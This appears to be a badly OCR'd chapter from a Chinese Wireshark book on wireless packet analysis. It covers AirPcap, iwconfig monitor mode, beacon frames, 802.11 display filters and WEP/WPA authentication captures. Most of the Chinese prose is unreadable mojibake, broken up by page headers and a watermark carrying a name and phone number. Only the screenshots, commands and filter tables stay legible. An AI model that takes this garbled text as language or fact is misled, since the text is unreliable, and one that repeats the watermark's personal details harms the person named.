Wr A, Bl Wireshark 3R o4 E0HE A, VR TCLR R FIAC B DR B FE 7P A 2057
FEEWT A (] RFMON #30).
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KR I> L RS T2 R i i PR Bl Ad-hoe #5181 13-4 fleoR 1

HFts X T TAE.

WEIRRR
)
f— T

F&E Fif TRIENS

Ad-Hoct&Ez

I

T % i

i

T& B i
FRK
B D
((— = ((—\
Pt £k Pt &b
(1EAREH)
AR

I

Ttk % Pt

O

Tt P

O

Pt £k

BT iR
(EEFEESTT)

13-4 TR ELRFAREX

#£13E
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FE GEH AR RIEFRER RN FREE 5, RIBRANEF G TR
4 ALFA 1000mW USB A& ER X, XA TH LRFH T2 —, ThH
PRtk IR B — AT 8L 69 3045 6. K31 &3t Fumd 1k AR 7 #R4L 2 sk

G

13.3 1F Windows "RIRICE M4

B R SCRF IR TR R B ZR M, K224 1 Windows I TEE R 9K E)
WA SRVFIRVIF XM (WinPeap A SCRFIZ AMD . IR E—LEATAM
PERTER AR

13.3.1 AirPcap

AirPcap (BL7E /2 Riverbed i N CACE Technologies 7 & [ 7= i) # % 11 H
KRB Windows SRS o 4R 670 A (I BRIl . AirPeap 8 U £t —F£/NT5, 40
K 13-5 fiios, AT IC4iiE. AirPeap 28 3 F21918 /) WinPcap Rz fil—
AR 2 P S e B T .

& 13-5 AirPcap #93iHHEF E A, Eo5LRAL R

AirPcap MECEFEFRE R, HA SR EED. K&l 13-6 s, AirPeap
AR SR gt 7 LA JLAN IR

Interface: {RA] LAFEX G HEERMIRM B . —EmBN i sk
PRAEFH Z A AirPeap W, FIPIRIRZAMFIE.

Blink Led: Z)i%IX/NEIEHESfE AirPcap % & L H LED f8/-4 NSk, 24
EAEZ AN AirPeap AT, X 0] FHRR B IEAE A FH IS FC 2%
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Channel: 7EXXANTFHEHFE, JRA]PLUEFEAE AirPeap WU {51E .

Include 802.11 FCS in Frames: BRAEOLT, —HRGESIFLLEIE
iR a4 DMRIATELRE . XA PERR MRS 31 (Frame Check Sequence, FCS)
(A 36 R FH K Bt CR AU L FE A R A R . BRARIRE R B e, 75
2 XA FIRHE (7 FCS AR KA

Capture Type:iX B PN i%TH——802.11 Only A1 802.11 + Radio.802.11 Only
RIS FRUER) 802.11 H¥EAL ). 802.11 + Radio eI & X ANk DA Fif i 1)
radiotap ki, WA EHIME R, HWHIER, ME, (F5FHMMERE SR,
1EF 802.11 + Radio LA A Al FH BIEHEAE B o

FCS Filter: B[IfF /R4 %% Include 802.11 FCS in Frames, XM Af
DL JE FCS W N B AN HdE (.. {4 Valid Frames &5 n] L R 27K FCS
WA DA TS e G A £,

WEP Configuration: iX/M[X1# ({E AirPcap Control Panel [f] Keys IR
AU SRR TR RIS ) WEP %565, N T BEMESS WEP hnss (5,
PR B X BIE N IEAE Y WEP %559, WEP & 7E 13.9 Fidhidit.

R AirPcap Control Panel * - *
Settings  Keys
Interface
AiPcap USE wireless capture adapter nr. 00 ~ BElink Led
Model: AirPcap Tx Tranzmit: ves Media: 80211 big

Basic Configuration
Channel | 2437 MHz [BG 6] w Include 802,11 FCS in Frames

Extension Channel 0

Capture Type | 80211 + Radio ~ | FC5Filter | &l Frames ~
Help
Ok Apply Cancel

13-6  AirPcap &t E42 5

AirPcap
I E L AirPeap Ja, TRMNMIZMHREFERAR 7. AFEEF)
Wireshark 7fi%#¢ Capture->Options. #3, fE Interface T HiHEH 1L+ AirPcap
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B%Q, WK 13-7 fior.

M Wireshark . Capture Interfaces ? *
Input Output Options
Interface Traffic Link-layer Header Promiscuous Snaplen (B) Buffer (MB]  Capture Filter
iAirPcap USB wireless capture adapter nr, 0D 802.11 plus radictap header enabled default 2
> Bluetooth Network Connection Ethernet enabled default 2
> Ethernet Ethernet enabled default 2
> Ethernet 2 Ethernet enabled default 2
> Ethernet 3 Ethernet enabled default 2
» Local Area Connection™ 2 Ethernet enabled default 2
> Local Area Connection™ 4 Ethernet enabled default 2
> Wi-Fi Ethernet enabled default 2
Enable promiscuous mode on all interfaces Manage Interfaces...
Capture Filter for selected Interfaces: | Enter a capture filter ... - Compile BFFs
= e [

13-7 4% AirPcap X&AE ARy ki v
i 7 Wireless Settings #%4£14F, bi% LI — IR AE . B MM &%
H 5 AirPcap it BFEFF—FERIIET, WP 13-8 FT7R. AirPcap A& 5€ 45tk N Wireshark
(1), PRI A L B AT LAYE Wireshark HH& I

M Wireshark . Wireless LAN Statistics - wireshark_pcapng_airpcap00_20160502104321_311004 — m} X
Channel 551D Percent Pack: Beacons lata Pkts ibe Regs ibeResp  Auths Deauths  Other Protection
11 ATTZp9x8X2 6.6 4 o ] 0 0 0 0
11 ATTe43V3c2 344 18 3 0 0 0 0 0 Unknown
<Broadcast> 1.6 0 0 0 0 1 0 0
11 ATTCGgISE 18.0 9 2 0 0 0 0 0 Unknown
11 ATTOSKkee! 6.6 4 o 0 0 0 0 0
11 HP-Print-D6-Officejet 4630 328 20 o 0 0 0 0 0
Digplay filtter: Enter a digplay filter ... ‘ | Apply |
Copy Save as... Close Help

13-8 Advanced Wireless Settings %} % 4E A3 1% ££ Wireshark F B2 & AirPcap
— VI E L2 5, AT DL Start 28R TGRSR B AL 1.

13.4 1L Linux FWEICE %

1 Linux % G004 0 7 24 0 b S G 28 090 R 0 B DT B AR R )
Wireshark BV A] o KT, AN IR 5 ) ok 100 /8 P M I BESR AR 6 A IR, T
DAYE X LR e R . SEB b, A BRI R AN R AR P W A
Ko WIIF Google — FARIIM RIS, WisE 75 HER AT, LA .
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pa =Y

£ Linux R4, i N B LY Ry A i iU NG —.
PRATLAA iwconfig 21 RLey fRfE 7. WRIRIEREHI G FBEN iweonfig, Bi%
E BRI SR

$ iwconfig
ethO no wireless extensions
100 no wireless extensions
eth1 1IEEE 802.11g ESSID: "Tesla Wireless Network"
Mode:Managed Frequency:2.462 GHz Access Point:00:02:2D:8B:70:2E
Bit Rate:54 Mb/s Tx-Power-20 dBm Sensitivity=8/0
Retry Limit:7 RTS thr: off Fragment thr: off
Power Management: off
Link Quality=75/100 Signal level=-71 dBm Noise level=-86 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:2

iwconfig T4 4 H BoR ethl 322 00 LT LB E . i‘z%‘fx?ﬁlﬂ’ﬂ A
BN 75 802.11g Pl R HE, M eth0 F1 100, EATTH R[] T“no wireless

extensions”

RN AR T2 LLREGR, FHE—T, ALLy BRSE ID
(Extended Service Set ID, ESSID). iR &%, HAER S “ethl” FH—4T &,
R EEWREN “BEH”, WS RITESSI R TT .

4 ethl BUR SIS, RIALL root A S &%, Al LLEEEESEH
YA P (sw) w74, W FAR:

$ su
Password:<enter root password here>

FEARMCN root e, AURT LLER N fir @ R E B LM RIET T o SA LR
i T LORE ethl g B A A 2

# iwconfig eth1 mode monitor

MR AN S, FIRIZAT iwconfig a2 BZAE ML AR Hi A LA
T4, DR ethl #2007 DL T AE:

# iwconfig eth1 up

FATHREAE A iweonfig iy & R MW EIE, MALLFar4, B4 ethl %00
HIfEIE N EIE 3:

# iwconfig eth1 channel 3

RAT VAR R AR G042 P RS IRAEE, P AR e, R &
T A% iwconfig 44~y AL A 1Lt AE
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SR EE E S, 1553 Wireshark TTIER I EIE S IR 2 k!

13.5 802.11 ihifushii

TLLeE R 5 A 25 E ) F EEARIE TR/ 802.11 k. X2— 1
2 JZSAE, B SEAREAE A BTE RHIBIME B 802.11 4r4A 3 AL,

B XU TEENCRIE 2 FiEE. FHoH0E - SEEY
FHRA, BFEINIE (authentication). KK (association) F{E 5 (beacon) 734

Tl G H RV E S HAEIE S H R RIE, FFEIHEEEREG . W
WL TR EFEE R K% (request-to-send) FIHET K 1% (clear-to-send) 4341,

BiE: XA EA HIEREAE, R ME— T DL TG ZR N 25 i 2147 261
25 AR AL

— N EAEI SRR T eSS, & M s f s fy ]
REANTFH S BAVE R p—Rpgsty, 15FE 80211beacon.pcap U4 B[ #AN
AL XA SCAFEE —FhNY beacon [ FREHE B 1941, W&l 13-9 Fiow.

M Wireshark - Packet 1. 80211beacon - [m} X

> Frame 1: 132 bytes on wire (1856 bits), 132 bytes captured (1056 bits)
v IEEE 802.11 Beacon frame, Flags: ........
Type/Subtype: Beacon frame (@x0008)@
Frame Control Field: @x3eee
.000 0000 @000 @008 = Duration: @ microseconds
Receiver address: Broadcast (ff:ff:ff:ff:ff:ff)
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Transmitter address: D-LinkCo_@b:22:ba (@@:13:46:0b:22:ba)
@ source address: D-LinkCo_8b:22:ba (@@:13:46:8b:22:ba)
BSS Id: D-LinkCo_@b:22:ba (@0:13:46:0b:22:ba)
............ @000 = Fragment number: @
9101 0100 1000 .... = Sequence number: 1352
v IEEE 802.11 wireless LAN management frame
Vv Fixed parameters (12 bytes)
Timestamp: @x800000001685a131
Beacon Interval: ©.102480 [Seconds]
> Capabilities Information: @x@8431
v Tagged parameters (96 bytes)
Tag: SSID parameter set: TESLA
9> Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 12, 24, 36, [Mbit/sec]
> Tag: DS Parameter set: Current Channel: 110
> Tag: Traffic Indication Map (TIM): DTIM @ of @ bitmap
Tag: ERP Information
Tag: Extended Supported Rates 9, 18, 48, 54, [Mbit/sec]
Tag: Vendor Specific: AtherosC: Advanced Capability
Tag: Vendor Specific: AtherosC: Unknown
Tag: Vendor Specific: AtherosC: eXtended Range
Tag: Vendor Specific: GlobalSu

No.: 1 * Time: 0.000000 - Source: D-LinkCo_0b:22:ba * Destination: Broadc...1 * Info: Beacon frame, SN=1352, FN=0, FI3gs=.......e BI=100, SSID=T

13-9 X2 —/> 802.11 beacon 3% &
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beacon ZIREEHK BN HEAE BRI LLER A2 —. BIEA— HEEE
B HH WAP Ri%k, 7T GIEEA A L% F i e XAl Y WAP, Jf
SE T R LR B — S AR EI ST, R LLE B AN
PEALLE 802.11 SR Type/Subtype ik & XN beacon@ .

£ 802.11 B BEMUL A A I 1 HARE S, BT LA,
Timestamp: A& A F TR

Beacon Interval: beacon (4t H A4 [H] K .

Capability Information: WAP FIRE{F25 515 B .

SSID Parameter Set: WAP | %] SSID (2% 7K.
Supported Rates: WAP 7 £ ({5 1E 4% .

DS Parameter: WAP | #&f F 1){5 18 .

XA AL E T RUEA B Btk LR R

TR HR I IERE , FRATAT LA T @ B~ SO R & 2% beacon [ WAP
BREZER. BRIXZ—6 D-Link %0, /] 802.11b #xiE (B) O, fEf5iE

11 FTFO®.
AR 802.11 FHEUE A HAA N BB A—FE, (HRARGE IR M1
MZEAR K.

13.6 1t Packet List iR MIICE: " Hi 4|

WIRAT I, Wireshark 38 % /£ Packet List TR E s 6 DNAEHIZ . M Z
BAIGA AT, iEFAIAE Packet List B IGHN 3 DHi4.

e RSSI (for Received Signal Strength Indication) 51, &7~ 3 E s 6 7 41 40
EREELLP

e TXRate (for Transmission Rate) %1, & i &0 6 EdE % .
e Frequency/Channel %1, @ sHiliZREE 61 PR AEIE .

AR, KR B AR Bl AR LS
PR RS SRR, IREOR R XTI, Y A 5
PR 3T
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PR LLU R DU, 1 Packet List [ ARG ANIX L2571

(1) %% Edit->Preferences.

(2) #| Columns ¥4y, FFHifi Add.

(3) 1E Title 43 A\ RSSI, FFAEHETY T i %1% ik £ IEEE 802.11 RSSI.

(4)  TX Rate 1 Frequency/Channel 5| E & Mbid 72, A EATHAME 241
Title, FH7E Field type F$7%13i%EFE IEEE 802.11 TX Rate f1 Channel/Frequency .
WIN=%2 )5, Preferences & M iZA% & 13-10 —FF.

M Wireshark - Preferences ? .
v Appearance
Layou: Displayed Title Type Field Name Field Occurrence
Columns Na. Number
Font and Colors Time Time (format as specified)
Capture Source Source address
Filter Expressions Destination Destination address
MName Resolution Protocol Protocol
» Protocols Length Packet length (bytes)
> Statistics Channel Custom wlan_radio.channel
Advanced Signal strength (dBm) Custom wilan_radio.signal_dbm
Data rate Custom wlan_radio.data_rate
Info Information
+ | [=
< >
Cancel Help

[® 13-10 & Packet List @AR3E Hn k5 T 5 AR % 49 5

(5) gy OK feksh A%,
(6) E )8 Wireshark LR =571 .

13.7 Jee T HLEES

PAVES 4 e 7R BoRid I g (i ab . 1A 4 4% rh it
REERHRZ, NGNS EH T HLE. R, ELLMEd,
P e gz ;7 s e AR TR AR R N A TR IE T, KRR EMFER
FIE, RS LA R A e R SR B L v R
B TR E T

308 Wireshark ##EE 75 #rsLhk (58 3 hiR)
B4bitXKensuke(18319066421) = {SEELRIY



13.7.1

13.7.2

BSS ID

M 2g FRE— WAP #A© B CRIRMA, /E “IehliR & K& =7
(Basic Service Set Identifier, BSS ID). %A & & 1% R — N 43 H A B dE o
HEEL XA FR .

— BARIARG T AR EAER) BSS ID 48k, AR EMAmH R 2L B
WAP K% IR 2 - Wireshark 7F Packet List THAR [ Info 7 BR T WAP,
PRl 3R 21X AME B 5 W

N T REBNEOS ) WAP Frfe 88, IRFREAE 802.11 ke M
BSS ID . it jEds it Tix /M bk okgn S . $3) BSS ID MAC b5, #RA LA
i F X AN e 28«

wlan.bssid == 00:717:22:33:44:55

AR A BB R WA 124 € WAP & T .

FEARFRI, FRATE SR AT REE M 2% F& WAL BEE KA. /R
TR T AL T X LSRRI TR BRI SR A . X TR E KA, w LA I R A
wlan.fe.type SRSEHL: X THRpE R FRAKHE, FTUUHITIES we.fe.type
subtype KB, B, 97 i —A NULL 32041 (FE-+ Nkl 2257 2,
FHEM 4), fRATLEF wlan.fe.type subtype eq 0x24 X MidjEas. 3 13-1 $24it
T 802.11 AR B R TR AU E S

FR13-1 REAER/ TR oAg kI8 RB%

M B/ KB FIERREE

Management frame wlan.fc.type ==0

Control frame wlan.fc.type == 1

Data frame wlan.fc.type ==2

Association request wlan.fe.type subtype == 0x00
Association response wlan.fc.type_subtype == 0x01
Reassociation request wlan.fe.type subtype == 0x02
Reassociation response wlan.fe.type subtype == 0x03
Probe request wlan.fc.type subtype == 0x04
Probe response wlan.fc.type subtype == 0x05
Beacon wlan.fe.type subtype == 0x08

F13E FTEMEHFEESH 309
S5t K Kensuke(18319066421) = SR EIRIN



13.7.3

310 Wireshark RS 2 H7sE8k (88 3 AR)

5k

AT B/ F KB

WiRsRIEE

Disassociate
Authentication
Deauthentication
Action frame

Block ACK requests
Block ACK

Power save poll
Request to send
Clear to send

ACK

Contention free period end
NULL data

QoS data

Null QoS data

wlan.fc.type subtype == 0x0A
wlan.fe.type subtype == 0x0B
wlan.fe.type subtype == 0x0C
wlan.fc.type_subtype == 0x0D
wlan.fc.type subtype == 0x18
wlan.fc.type subtype == 0x19
wlan.fc.type subtype == 0x1A
wlan.fe.type subtype == 0x1B
wlan.fe.type subtype == 0x1C
wlan.fc.type_subtype == 0x1D
wlan.fc.type subtype == 0x1E
wlan.fc.type subtype == 0x24
wlan.fe.type subtype == 0x28
wlan.fe.type subtype == 0x2C

MRIREEE KRB Z MEERRE, BT EERRERAEFAH. B
n, WERARASR RIAFAESIE 1 A 6 IR, AAn A — I IEE o

518 11 Wi IMRKIHRE, BARPRIE 2 2 H AR T

B

FCE A IR, BFARRIEL . AR IR, w] DAk g A -

wlan radio.channel == 11

R R REIE 11 BT RE. RR] LK 2462 {E 5 e AR I % 145
ISR . 3R 13-2 FIH T TE AR (R0 B R A -

F=13-2 802.11 RA ZHEFoIE

TEX N

—
iF

sl

R /MHz

[N BN N T N 0N R S

2412
2417
2422
2427
2432
2437
2442
2447
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R

i
ik

i /MHz

9 2452
10 2457
11 2462

FANEE R AL TCL N L iERS, /R LATE Wireshark wiki 7%
EEAT.

13.8  PRAFTCL S Bt L

FERAT BB R i, B B TAFIR R —— IR E = H
G e A B E . OV T RS RO A H AN e A AT TG EL, R AT LUK
BEORAFABCE S, DT RAE L i & 2 [ U4

EARFRCE S AT, el FEw E AL ERS. 25, EREA T
MY E SR AT, JFRT New. FHCE N Wireless, /5 H
i OK.

13.9 JoZkMgk &4

EE

“K%*D'éiﬁﬂﬁéﬁﬂéﬁﬁj“ﬁﬁjﬁﬁ’]?ﬁ MR AE B 2 k. HURaET SR H
o, AR ANERES B e, KRR SRR CEER . B, (M AEF
Wireshark 1 AirPcap W #EE BIEHE T -

A% B Hpl Bk 6 An I AR, tode SSL 2 SSH, i#@1Z54545 1 1% B #3E
AT E, FIAAE I QL RIR Bk R E A P a9 .

SRCIHERE P AE TG B 48 vh I B8 A A3 B R AR SR “ A 2655 30m % 7 (Wired
Equivalent Privacy, WEP) Fr#fi. WEP 7ER7JLEER ), EHBFREILT
S HE I JLNRIR . AT IR 4, JUASBbs A SO 46 8% 15 1T h
e, B LELZ% EM RN (Wi-Fi Protected Access, WPA) F1 WPA2 #x
. B WPA FITE 22 & A WPA2 1R AT 5E, H—I e WEP
i E
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13.9.1

FEIX—17, FATRE—1LE WEP Al WPA i i, PARVIERI 1451+

WEP

80211-WEPauth.pcap LA & T R IhiE 1% WEP %%I‘J%E’Jm% XA 4%
f#FH WEP &Ml RAF0H WAP $24t— N, DUER A E I ek ok
(P%HE . /R LA WEP ﬁﬁ%éﬁk%éﬁﬂ%mﬁbo

W 13-11 Fs, X MaRSCHE DGR L 4 FraiIA WAP (00:11:88:6b:68:30)
KIEB|TCLLZE F it (00:14:25:30:00:af) HIFUAFF O . XN E A
TLE% e 5 A IR R WEP %85, JEJF 802.11 ki Hll tagged parameters, 1%
Al DAE B AN

M Wireshark - Packet 3 - 3e80211_wepauth - O X

> Frame 3: 184 bytes on wire (1472 bits), 184 bytes captured (1472 bits) on interface @
> Radiotap Header v@, Length 2@
> 882.11 radio information
v IEEE 802.11 Authentication, Flags: ........ i
Type/Subtype: Authentication (@x@@@b)
> Frame Control Field: @xbeee
.00 2001 0011 101@ = Duration: 314 microseconds
Receiver address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c)
Destination address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c)
Transmitter address: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
Source address: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
BSS Id: Netgear ab:96:16 (28:c6:8e:ab:96:16)
............ 9000 = Fragment number: @
@000 @000 0108 .... = Sequence number: 4
> Frame check sequence: 8xad79ad88 [correct]
v IEEE 802.11 wireless LAN management frame
v Fixed parameters (6 bytes)
Authentication Algorithm: Shared key (1)
Authentication SEQ: @x8882
Status code: Successful (@xeoee)
v Tagged parameters (130 bytes)
¥ Tag: Challenge text @
Tag Number: Challenge text (16)
Tag length: 128
Challenge Text: 97ebed97caBa77fddae72796785d560950a64cad5053e5d9. . .

No.: 3+ Time: 0.048458 - Source: Netgear_ab:96:16 - Destination: Apple_78:6c:...: Authentication * Ti/pe/Subtype: Authentication - Typa/Subtype: Authentica

I Close I Help

13-11  WAP & REKRE P 5% K48 5K
TERHEAL 5, XNFUHBIA . JAIE L% 7 il FH WEP 25 5 fif 25 1 5
WCAIR A28 WAPO, W& 13-12 .

FERARR 7, XA R O I, IFH WAP E5E R 8 AR 1 e
2%, B 13-13 fone MR A T — AU HAMERIIIER O

312 Wireshark ##EE S 4rsLik (58 3 hip)

B4bitXKensuke(18319066421) = {SEELRIY



M Wireshark - Packet 4 - 3e80211_wepauth - O X

> Frame 4: 203 bytes on wire (1624 bits), 203 bytes captured (1624 bits) on interface @
> Radiotap Header v@, Length 2@
> 8@2.11 radio information
Vv IEEE 802.11 Authentication, Flags: .p......C
Type/Subtype: Authentication (@x@@eb)
> Frame Control Field: @xbe4e
.080 0601 @011 1010 = Duration: 314 microseconds
Receiver address: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
Destination address: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
Transmitter address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c)
Source address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c)
BSS Id: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
............ @000 = Fragment number: @
2000 0110 0100 .... = Sequence number: 100
> Frame check sequence: @xlafc56d8 [correct]
> WEP parameters
Vv Data (147 bytes)
@ Data: e839cc71@bf2dalc936cfesa722fh8e7a8eee78529270d43. ..
[Length: 147]

No.: 4 - Time: 0.050464 - Source: Apple_78:6c:9¢ - Destination: Netgear_ab:96:...: Authentication - Type/Subtype: Authentication * Type/Subtype: Authentica

I Close H Help

13-12 REE P 356 WAP K i CfR 5 64 1 0 K

M Wireshark - Packet 5 - 3e80211_wepauth - m] X

> Frame 5: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
> Radiotap Header v@, Length 20
> 8@82.11 radio information
> IEEE 802.11 Authentication, Flags: ........ C
v IEEE 8@2.11 wireless LAN management frame
¥ Fixed parameters (6 bytes)
Authentication Algorithm: Shared key (1)
Authentication SEQ: @x@804
Status code: Successful (exeeee) @

No.: 5+ Time: 0.051292 - Source: Netgear ab:96:16 » Destination: Apple_.entication * Tipe/Subtype: Authentication - Tipe/Subtype: Authenticat

I Close I | Help

13-13 WAP il 4 & P sHINIERI T

RIAIEG, 25 5 A] LLR IR CHE (association) 153K BEUSHAIA IF 58
R, WK 13-14 Fios.

No|  Time Source Destination Protocol  Length Channel  Signal strength (dBm)  Datarate  Info
6 0.052565 Apple 78:6c:9c  Netgear ab:96:16 802.11  11@ 1 -40 1 Association Request, SN=101, FN=@, Flags=. ..C, SSID=DENVEROFFICE
7 0.853982  Netgear ab:96:16 Apple 78:6c:9c  802.11 119 1 -171 Associstion Response, Sh=6, FN=8, Flags=.. .C

B 13-14 AGEIEARE B3k —AN 8 3 04 AR €L K BhAd K Fmvry B
13.9.2 WEP
N =M1, —OLH P AR WEP Zi0iER3 WAP, JI)E, G

F13E EEMEHEFEEHH 313
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L% 7 AR AR T VAR oA M g, HRCA IR . R S
80211-WEPauthfail.pcap.

5 R — A, 845 A WAP TEEE 6 3 K% U SR B TE 26 & 7 i T
Ihe XMNHEEMRIIINT . BE, EEdRE 4+, LR i R4t
1] WEP #5405 532 1 M B

Pl E, AT, NiZE—NMEAMEFRMTAERID 7. H2RRNER
PaEL S HER T A—FEREN, Wi 13-15 i@,

M Wireshark - Packet 5 - 3¢80211_wepauthfail - [m} X

> Frame 5: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
> Radiotap Header v@, Length 2@
» 802.11 radio information
> IEEE 8@2.11 Authentication, Flags: ........ C
v IEEE 8@2.11 wireless LAN management frame
v Fixed parameters (6 bytes)
Authentication Algorithm: Shared key (1)
Authentication SEQ: @x@8e4
@ Status code: Authentication rejected because of challenge failure (@x@@ef)

No.: 5 + Time: 0.063918 - Source: Netgear ab:96:16 - Destination: Apple_78:6¢c:... (dBm): -19 - Data rate: 1 - Info: Authentication, SN=1, FN=0, Flsgs=r.ccecr.

I Close I Help

13-15  ZAH && R RATAETR R

XA B A VRIRATTIC LR 2 7 ity XoF J5i 1) SCAS i) S AS IR Bff o IX 3R BH & 7 o FH
DU 70 SCAS ) WEP 105 e it 7. 458, EEE Al 7. B IE
W WEP i B iR 417,

13.9.3 WPA

WPA ] 75 WEP 52 & ARFHAENUH], EEeTR &8 T H P ETLL%
JH SR ON S50 SR B R 2% . 80211-WPAauth.peap S A — I WPA
INIERIF

ZOCAERI A 1 AN B2 WAP K% beacon | . AT X AN R
L1 802.11 kB, W% tagged parameters £ N &, BEIF Vendor Specific x5,
i 13-16 fiizn, BEB BN A WPA@ JE MR o X EFRAT T 2] WAP
CFEH WPA AL SEEL Cln A 135D .

T2k % P (00:0f:b5:88:ac:82) W HIX A beacon | & )5, HhlM LN &
(00:14:6¢:7e:40:80) K& —MNRMIER, HER T HIN . LR imMICL#EN

314 Wireshark ##EE8 75 #rsLhk (58 3 ki)
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AR AL 4 B 7 ZIE A H., RINIES SRHRAIIE K AR .

M Wireshark - Packet 1 3e80211_wpaauth - [m] X
> Frame 1: 336 bytes on wire (2688 bits), 336 bytes captured (2688 bits) on interface @
> Radiotap Header v@, Length 20
> 802.11 radio information
> IEEE 8@2.11 Beacon frame, Flags: ........ C
v

IEEE 8@2.11 wireless LAN management frame
> Fixed parameters (12 bytes)
V¥ Tagged parameters (276 bytes)
» Tag: SSID parameter set: DENVEROFFICE
> Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec]
> Tag: DS Parameter set: Current Channel: 1
> Tag: Traffic Indication Map (TIM): DTIM 1 of @ bitmap
> Tag: Country Information: Country Code US, Environment Any
> Tag: ERP Information
v Tag: Vendor Specific: Microsof: WPA Information Element @)
Tag Number: Vendor Specific (221)
Tag length: 22
QUI: ee-50-f2
Vendor Specific OUI Type: 1
Type: WPA Information Element (@x@1)
WPA Version: 1
> Multicast Cipher Suite: @@-50-f2 TKIP
Unicast Cipher Suite Count: 1
> Unicast Cipher Suite List @@-50-f2 TKIP
Auth Key Management (AKM) Suite Count: 1
> Auth Key Management (AKM) List @8-50-f2 PSK
» Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec]
> Tag: Vendor Specific: Microsof: WMM/WME: Parameter Element
> Tag: Vendor Specific: Epigram: HT Capabilities (8@2.11n D1.1@)
> Tag: HT Capabilities (862.11n D1.10)
> Tag: Vender Specific: Epigram: HT Additional Capabilities (882.11n D1.08)
> Tag: HT Information (802.11n D1.10)
> Tag: Vendor Specific: AtherosC: Advanced Capability
> Tag: Vendor Specific: AtherosC: Unknown
> Tag: Vendor Specific: Microsof: WPS

No.: 1 - Times 0.000000 - Source: Netgear ab:96:16 * Destination: Brosccast * Pro... 1 » Info: Bascon frame, SN=568, FN=0, Fisgs=........G; BI=100, SSID=DENVERC

Co=1[ o |

13-16 XA beacon L & A14ei8 LK IEAE X3 WPA AL

PUETE HOG BRI EE M 8 . X & WPA JTHHA1RE TR, — B IFE:33
PaA 11, XAME TR WPA B ma b (K 72, ani&l 13-17 s

Time Source Destination Frotocol  Length  Channel Signal strength (dBm) Data rate Info
8 @... Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 1 -18 24 Key (Message 1 of 4)
9 B... Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -42 1 Key (Message 2 of 4)
1@ @... Netgear_ab:96:16 Apple_7B:6c:9c EAPOL 181 1 -18 36 Key (Message 3 of 4)
11 @... Apple 78:6c:9c Netgear ab:96:16 EAPOL 157 1 -42 1 Key (Message 4 of 4)

B 13-17 X 24035 0. & WPA 48569 —3 o

XEAWA U SR &R QAR fEHE T 802.1x Authentication Sk
T Replay Counter IR F|ULHCHT 5, W1 13-18 Frs. ¥4 & 251 NME F 28
£01¥) Replay Counter fH2 1@, 15 METFHIEQIIER 20.

WPA 42 F 52 I 5, B sl P aa 75 L4k % P i Al WAP 2[R f%
i 7

F13E RLEMEHFEESH 315
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0211_wpaauth - m X

M Wireshark . Packet 8

Frame 8: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits) on interface @

Radiotap Header v@, Length 20

802.11 radio information

IEEE 802.11 QoS Data, Flags: ......F.C

Logical-Link Control

802.1X Authentication

Version: 8@2.1X-2004 (2)

Type: Key (3)

Length: 95

Key Descriptor Type: EAPOL WPA Key (254)

Key Information: @x@@89

Key Length: 32

© Replay Counter: 1
WPA Key Nonce: c@3d@f8sf4d79265ea39537@b28efc4ef67badf46b83eecy. ..
Key IV:
WPA Key RSC: 0000000000000000
WPA Key ID: 8000000000000000
WPA Key MIC:
WPA Key Data Length: @

Cvvvwvy

v

No.: 8 - Time: 0.377010 - Source: Netgear_ab:96:16 - Destination: Apple_78:6c:...: 1  Signal strength (dlBm): -18 - Data rate: 24 + Info: Key (Message 1 ¢

M Wireshark . Packet 10 211_wpaauth — ]

Frame 10@: 181 bytes on wire (1448 bits), 181 bytes captured (1448 bits) on interface @
Radiotap Header v@, Length 2@
802.11 radio information
IEEE 802.11 QoS Data, Flags: ......F.C
Logical-Link Control
802.1X Authentication
Version: 882.1X-2084 (2)
Type: Key (3)
Length: 119
Key Descriptor Type: EAPOL WPA Key (254)
Key Information: @x@1c9
Key Length: 32
@ Replay Counter: 2
WPA Key Nonce: c@3d@f8s8f4d79265ea395370b28efcdef67badfa6b83eecy. ..
Key IV:
WPA Key RSC: ©000000000000000
WPA Key ID: ©002000000000000
WPA Key MIC: 6ad7ebeb26231a497c344a86e9ebfoc7
WPA Key Data Length: 24
> WPA Key Data: dd160056120101600050T202010000501720201000050T202

K vvvwvy

v

No.: 10 - Time: 0.380809 - Source: Netgear ab:96:16 - Destinstion: Apple_78:6¢..l: 1 + Signal strength (€8m): -18 - Data rate: 36 - Info: Key (Messsge 31

LMk, (HEATTR M AR, WATRE B RAE T

13-18 Replay Counter 3% # B X171 I B2 /f; 18) F= o) 5L

WPA

5 WEP —#f, RPN WPA SRS )5, oLz i ke 4l i JoikiE s 20
A

7t 80211-WPAauthfail.pcap .
BRIA B WPA IEARFE,  Hi 3R SO LARIAE R 77 P46 . XA HEERI

316 Wireshark #iEES4rsLhk (58 3 kD)
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WIFFOCHAE R . WPA #BF WER AL 8 JFah, (HAERXMIFH, FATER T 8
MEFHIEE, AR ZATERIVAEATT P 21 4 4

i 8 19 KR WPA B F AT MBI SR AEX AT, &) b
KIEE] WAP FIBHISCAA . &5, XANPHIELRSEE 10 A1 11, 12 F1 13,
14 f1 15 p 2R ESE, Wk 13-19 fion. {1 H Replay Counter RJ LAFC XS &AM IE =R
AT Y o

Time Source Destination Protocol  Length Channel  Signal strength (dBm) Datarate Info

@.873773  Netgear_ab:96:16 Apple 78:6c:9c EAPOL 157 1 -18 24 Key (Message 1 of 4)
@.87651@ Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -38 1 Key (Message 2 of 4)
1.87429@ Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 1 -19 24 Key (Message 1 of 4)
